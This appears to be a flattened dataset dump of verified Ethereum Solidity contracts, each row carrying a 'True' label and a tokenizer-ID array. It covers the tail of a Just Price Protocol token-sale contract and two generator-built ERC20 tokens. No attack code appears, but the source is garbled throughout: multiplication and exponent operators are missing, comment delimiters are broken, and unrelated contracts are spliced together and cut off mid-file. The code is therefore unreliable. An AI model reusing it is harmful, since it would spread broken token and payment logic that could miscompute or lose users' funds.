toRefund, safeSub (RESERVE_THRESHOLD_2, reserveAmount)) / RESERVE_PRICE_2; if (tokens > 0) { tokensValue = safeMul (tokens, RESERVE_PRICE_2); toBuy = safeAdd (toBuy, tokens); toRefund = safeSub (toRefund, tokensValue); etherInvested = safeAdd (etherInvested, tokensValue); reserveAmount = safeAdd (reserveAmount, tokensValue); } } if (reserveAmount < RESERVE_THRESHOLD_3) { tokens = min ( toRefund, safeSub (RESERVE_THRESHOLD_3, reserveAmount)) / RESERVE_PRICE_3; if (tokens > 0) { tokensValue = safeMul (tokens, RESERVE_PRICE_3); toBuy = safeAdd (toBuy, tokens); toRefund = safeSub (toRefund, tokensValue); etherInvested = safeAdd (etherInvested, tokensValue); reserveAmount = safeAdd (reserveAmount, tokensValue); } } if (reserveAmount < RESERVE_THRESHOLD_4) { tokens = min ( toRefund, safeSub (RESERVE_THRESHOLD_4, reserveAmount)) / RESERVE_PRICE_4; if (tokens > 0) { tokensValue = safeMul (tokens, RESERVE_PRICE_4); toBuy = safeAdd (toBuy, tokens); toRefund = safeSub (toRefund, tokensValue); etherInvested = safeAdd (etherInvested, tokensValue); reserveAmount = safeAdd (reserveAmount, tokensValue); } } if (reserveAmount < RESERVE_THRESHOLD_5) { tokens = min ( toRefund, safeSub (RESERVE_THRESHOLD_5, reserveAmount)) / RESERVE_PRICE_5; if (tokens > 0) { tokensValue = safeMul (tokens, RESERVE_PRICE_5); toBuy = safeAdd (toBuy, tokens); toRefund = safeSub (toRefund, tokensValue); etherInvested = safeAdd (etherInvested, tokensValue); reserveAmount = safeAdd (reserveAmount, tokensValue); } } if (reserveAmount < RESERVE_THRESHOLD_6) { tokens = min ( toRefund, safeSub (RESERVE_THRESHOLD_6, reserveAmount)) / RESERVE_PRICE_6; if (tokens > 0) { tokensValue = safeMul (tokens, RESERVE_PRICE_6); toBuy = safeAdd (toBuy, tokens); toRefund = safeSub (toRefund, tokensValue); etherInvested = safeAdd (etherInvested, tokensValue); reserveAmount = safeAdd (reserveAmount, tokensValue); } } if (reserveAmount < RESERVE_THRESHOLD_7) { tokens = min ( toRefund, safeSub (RESERVE_THRESHOLD_7, reserveAmount)) / RESERVE_PRICE_7; if (tokens > 0) { tokensValue = safeMul (tokens, RESERVE_PRICE_7); toBuy = safeAdd (toBuy, tokens); toRefund = safeSub (toRefund, tokensValue); etherInvested = safeAdd (etherInvested, tokensValue); reserveAmount = safeAdd (reserveAmount, tokensValue); } } if (reserveAmount < RESERVE_THRESHOLD_8) { tokens = min ( toRefund, safeSub (RESERVE_THRESHOLD_8, reserveAmount)) / RESERVE_PRICE_8; if (tokens > 0) { tokensValue = safeMul (tokens, RESERVE_PRICE_8); toBuy = safeAdd (toBuy, tokens); toRefund = safeSub (toRefund, tokensValue); etherInvested = safeAdd (etherInvested, tokensValue); reserveAmount = safeAdd (reserveAmount, tokensValue); } } if (toBuy > 0) { Investor storage investor = investors [msg.sender]; investor.tokensBought = safeAdd ( investor.tokensBought, toBuy); investor.etherInvested = safeAdd ( investor.etherInvested, etherInvested); reserveTokensSold = safeAdd (reserveTokensSold, toBuy); require (orgonToken.createTokens (toBuy)); voteNumbers [msg.sender] = safeAdd (voteNumbers [msg.sender], toBuy); totalVotesNumber = safeAdd (totalVotesNumber, toBuy); Investment (msg.sender, etherInvested, toBuy); if (safeSub (RESERVE_THRESHOLD_8, reserveAmount) < RESERVE_PRICE_8) { orisSpace.start (0); stage = Stage.BEFORE_GROWTH; } } if (toRefund > 0) msg.sender.transfer (toRefund); } /* * Buy tokens during "growth" or "life" stage. / function buyTokensGrowthLife () internal { require (stage == Stage.GROWTH \|\| stage == Stage.LIFE); require (msg.value < TWO_128); uint256 totalSupply = orgonToken.totalSupply (); assert (totalSupply < TWO_128); uint256 toBuy = safeMul ( totalSupply, safeSub ( root_10 (safeAdd (TWO_128, (msg.value << 128) / reserveAmount)), TWO_128)) >> 128; reserveAmount = safeAdd (reserveAmount, msg.value); require (reserveAmount < TWO_128); if (toBuy > 0) { require (orgonToken.createTokens (toBuy)); require (orgonToken.totalSupply () < TWO_128); uint256 feeAmount = safeMul (toBuy, fee) / FEE_DENOMINATOR; require (orgonToken.transfer (msg.sender, safeSub (toBuy, feeAmount))); if (feeAmount > 0) require (orgonToken.transfer (k1, feeAmount)); if (stage == Stage.GROWTH) { uint256 votesCount = toBuy; totalSupply = orgonToken.totalSupply (); if (totalSupply >= GROWTH_MAX_TOKENS) { stage = Stage.LIFE; votesCount = safeSub ( votesCount, safeSub (totalSupply, GROWTH_MAX_TOKENS)); } voteNumbers [msg.sender] = safeAdd (voteNumbers [msg.sender], votesCount); totalVotesNumber = safeAdd (totalVotesNumber, votesCount); } } } /* * Update stage of Just Price Protocol and return updated stage. * * @return updated stage of Just Price Protocol / function updateStage () internal returns (Stage) { Stage currentStage = getStage (currentTime ()); if (stage != currentStage) { if (currentStage == Stage.BEFORE_GROWTH) { // "Reserve" stage deadline reached and minimum amount collected uint256 tokensToBurn = safeSub ( safeAdd ( safeAdd ( safeSub (RESERVE_MAX_AMOUNT, reserveAmount), safeSub (RESERVE_RATIO, 1)) / RESERVE_RATIO, reserveTokensSold), RESERVE_MAX_TOKENS); orisSpace.start (tokensToBurn); if (tokensToBurn > 0) require (orgonToken.burnTokens (tokensToBurn)); } stage = currentStage; } } /* * Get minimum of two values. * * @param x first value * @param y second value * @return minimum of two values / function min (uint256 x, uint256 y) internal pure returns (uint256) { return x < y ? x : y; } /* * Calculate 2^128 * (x / 2^128)^(1/10). * * @param x parameter x * @return 2^128 * (x / 2^128)^(1/10) / function root_10 (uint256 x) internal pure returns (uint256 y) { uint256 shift = 0; while (x > TWO_128) { x >>= 10; shift += 1; } if (x == TWO_128 \|\| x == 0) y = x; else { uint256 x128 = x << 128; y = TWO_128; uint256 t = x; while (true) { t <<= 10; if (t < TWO_128) y >>= 1; else break; } for (uint256 i = 0; i < 16; i++) { uint256 y9; if (y == TWO_128) y9 = y; else { uint256 y2 = (y y) >> 128; uint256 y4 = (y2 * y2) >> 128; uint256 y8 = (y4 * y4) >> 128; y9 = (y * y8) >> 128; } y = (9 * y + x128 / y9) / 10; assert (y <= TWO_128); } } y <<= shift; } /** * Calculate 2^128 * (x / 2^128)^10. * * @param x parameter x * @return 2^128 * (x / 2^128)^10 / function pow_10 (uint256 x) internal pure returns (uint256) { require (x <= TWO_128); if (x == TWO_128) return x; else { uint256 x2 = (x x) >> 128; uint256 x4 = (x2 * x2) >> 128; uint256 x8 = (x4 * x4) >> 128; return (x2 * x8) >> 128; } } /** * Get current time in seconds since epoch. * * @return current time in seconds since epoch / function currentTime () internal view returns (uint256) { return block.timestamp; } /* * Just Price Protocol stages. * +----------------+ * \| BEFORE_RESERVE \| * +----------------+ * \| * \| Sale start time reached * V * +---------+ Reserve deadline reached * \| RESERVE \|-------------------------------+ * +---------+ \| * \| \| * \| 72500 ETH collected \| * V \| * +---------------+ 39013,174672 ETH collected \| * \| BEFORE_GROWTH \|<---------------------------O * +---------------+ \| * \| \| 39013,174672 ETH not collected * \| 80% of tokens delivered \| * V V * +------------+ +--------+ * \| GROWTH \| \| REFUND \| * +------------+ +--------+ * \| * \| 1,500,000,000 tokens issued or 365 days passed since start of "GROWTH" stage * V * +------+ * \| LIFE \| * +------+ / enum Stage { BEFORE_RESERVE, // Before start of "Reserve" stage RESERVE, // "Reserve" stage BEFORE_GROWTH, // Between "Reserve" and "Growth" stages GROWTH, // "Grows" stage LIFE, // "Life" stage REFUND // "Refund" stage } /* * Orgon Token smart contract. / OrgonToken internal orgonToken; /* * Oris Space spart contract. / OrisSpace internal orisSpace; /* * Address of K1 smart contract. / address internal k1; /* * Last known stage of Just Price Protocol / Stage internal stage = Stage.BEFORE_RESERVE; /* * Amount of ether in reserve. / uint256 internal reserveAmount; /* * Number of tokens sold during "reserve" stage. / uint256 internal reserveTokensSold; /* * Number of tokens sold during "reserve" stage that were already delivered to * investors. / uint256 internal reserveTokensDelivered; /* * "Growth" stage deadline. / uint256 internal growthDeadline; /* * Mapping from address of a person who bought some tokens during "reserve" * stage to information about how many tokens he bought to how much ether * invested. / mapping (address => Investor) internal investors; /* * Mapping from address of an investor to the number of votes this investor * has. / mapping (address => uint256) internal voteNumbers; /* * Mapping from address of an investor to the new K1 address this investor * voted for. / mapping (address => address) internal votes; /* * Mapping from suggested new K1 address to the number of votes for this * address. / mapping (address => uint256) internal voteResults; /* * Total number of eligible votes. / uint256 internal totalVotesNumber; /* * Whether K1 address was already changed via voting. / bool internal k1Changed = false; /* * Fee enumerator. (2 / 20000 = 0.0001); / uint256 internal fee = 2; /* * Time when fee changing is enabled. / uint256 internal feeChangeEnableTime; /* * Encapsulates information about a person who bought some tokens during * "reserve" stage. / struct Investor { /* * Number of tokens bought during reserve stage. / uint256 tokensBought; /* * Ether invested during reserve stage. / uint256 etherInvested; } /* * Logged when investor invested some ether during "reserve" stage. * * @param investor address of investor * @param value amount of ether invested * @param amount number of tokens issued for investor / event Investment (address indexed investor, uint256 value, uint256 amount); /* * Logged when tokens bought at "reserve" stage were delivered to investor. * * @param investor address of investor whom tokens were delivered to * @param amount number of tokens delivered / event Delivery (address indexed investor, uint256 amount); /* * Logged when investment was refunded. * * @param investor address of investor whose investment was refunded * @param value amount of ether refunded / event Refund (address indexed investor, uint256 value); /* * Logged when K1 address was changed. * * @param k1 new K1 address / event K1Change (address k1); /* * Logged when investor voted for new K1 address. * * @param investor investor who voted for new K1 address * @param newK1 new K1 address investor voted for * @param votes number of votes investor has / event Vote (address indexed investor, address indexed newK1, uint256 votes); /* * Logged when investor revoked vote for new K1 address. * * @param investor investor who revoked vote for new K1 address * @param newK1 new K1 address investor revoked vote for * @param votes number of votes investor has / event VoteRevocation ( address indexed investor, address indexed newK1, uint256 votes); /* * Logged when fee was changed. * * @param fee new fee numerator */ event FeeChange (uint256 fee); }	True	[ 101, 1013, 1008, 1008, 2074, 3976, 8778, 6047, 3206, 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/** Submitted for verification at Etherscan.io on 2019-07-08 / pragma solidity ^0.5.0; /** * @notes All the credits go to the fantastic OpenZeppelin project and its community, see https://github.com/OpenZeppelin/openzeppelin-solidity * This contract was generated and deployed using https://tokens.kawatta.com / /* * @title ERC20 interface * @dev see https://eips.ethereum.org/EIPS/eip-20 / interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error. / library SafeMath { /* * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). / function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /* * @dev Adds two unsigned integers, reverts on overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } } /* * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://eips.ethereum.org/EIPS/eip-20 * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. / contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /* * @dev Total number of tokens in existence. / function totalSupply() public view returns (uint256) { return _totalSupply; } /* * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return A uint256 representing the amount owned by the passed address. / function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /* * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. / function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /* * @dev Transfer token to a specified address. * @param to The address to transfer to. * @param value The amount to be transferred. / function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /* * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. / function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /* * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred / function transferFrom(address from, address to, uint256 value) public returns (bool) { _transfer(from, to, value); _approve(from, msg.sender, _allowances[from][msg.sender].sub(value)); return true; } /* * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when _allowances[msg.sender][spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. / function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /* * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when _allowances[msg.sender][spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. / function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /* * @dev Transfer token for a specified addresses. * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. / function _transfer(address from, address to, uint256 value) internal { require(to != address(0), "ERC20: transfer to the zero address"); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /* * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. / function _mint(address account, uint256 value) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /* * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. / function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /* * @dev Approve an address to spend another addresses' tokens. * @param owner The address that owns the tokens. * @param spender The address that will spend the tokens. * @param value The number of tokens that can be spent. / function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /* * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. / function _burnFrom(address account, uint256 value) internal { _burn(account, value); _approve(account, msg.sender, _allowances[account][msg.sender].sub(value)); } } /* * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). / contract ERC20Burnable is ERC20 { /* * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. / function burn(uint256 value) public { _burn(msg.sender, value); } /* * @dev Burns a specific amount of tokens from the target address and decrements allowance. * @param from address The account whose tokens will be burned. * @param value uint256 The amount of token to be burned. / function burnFrom(address from, uint256 value) public { _burnFrom(from, value); } } /* * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". / contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. / constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /* * @return the address of the owner. / function owner() public view returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /* * @return true if `msg.sender` is the owner of the contract. / function isOwner() public view returns (bool) { return msg.sender == _owner; } /* * @dev Allows the current owner to relinquish control of the contract. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. * @notice Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. / function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /* * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. / function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /* * @title ERC20Detailed token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. / contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /* * @return the name of the token. / function name() public view returns (string memory) { return _name; } /* * @return the symbol of the token. / function symbol() public view returns (string memory) { return _symbol; } /* * @return the number of decimals of the token. / function decimals() public view returns (uint8) { return _decimals; } } /* * @title ERC20 token contract of Novoye Protsvetaniye / contract ERC20Token is ERC20, ERC20Detailed, Ownable, ERC20Burnable { uint8 public constant DECIMALS = 8; uint256 public constant INITIAL_SUPPLY = 10000000000000 (10 uint256(DECIMALS)); / * @dev Constructor that gives msg.sender all of existing tokens. */ constructor () public ERC20Detailed("Novoye Protsvetaniye", "NPVY", DECIMALS) { _mint(msg.sender, INITIAL_SUPPLY); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 10476, 1011, 5718, 1011, 5511, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 3964, 2035, 1996, 6495, 2175, 2000, 1996, 10392, 2330, 4371, 27877, 2378, 2622, 1998, 2049, 2451, 1010, 2156, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 2330, 4371, 27877, 2378, 1013, 2330, 4371, 27877, 2378, 1011, 5024, 3012, 1008, 2023, 3206, 2001, 7013, 1998, 7333, 2478, 16770, 1024, 1013, 1013, 19204, 2015, 1012, 10556, 24281, 2696, 1012, 4012, 1008, 1013, 1013, 1008, 1008, 1008, 1030, 2516, 9413, 2278, 11387, 8278, 1008, 1030, 16475, 2156, 16770, 1024, 1013, 1013, 1041, 11514, 2015, 1012, 28855, 14820, 1012, 8917, 1013, 1041, 11514, 2015, 1013, 1041, 11514, 1011, 2322, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 3853, 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/** Submitted for verification at Etherscan.io on 2021-05-17 / // SPDX-License-Identifier: MIT /* * Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/ * * NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you won't need to verify your source code because of * it is already verified. * * DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. / // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /* * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ / interface IERC20Metadata is IERC20 { /* * @dev Returns the name of the token. / function name() external view returns (string memory); /* * @dev Returns the symbol of the token. / function symbol() external view returns (string memory); /* * @dev Returns the decimals places of the token. / function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /* * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. / contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /* * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. / constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev Returns the name of the token. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view virtual override returns (uint8) { return 18; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. / function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /* * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. / function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. / function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /* * @title ServicePayer * @dev Implementation of the ServicePayer / abstract contract ServicePayer { constructor (address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: 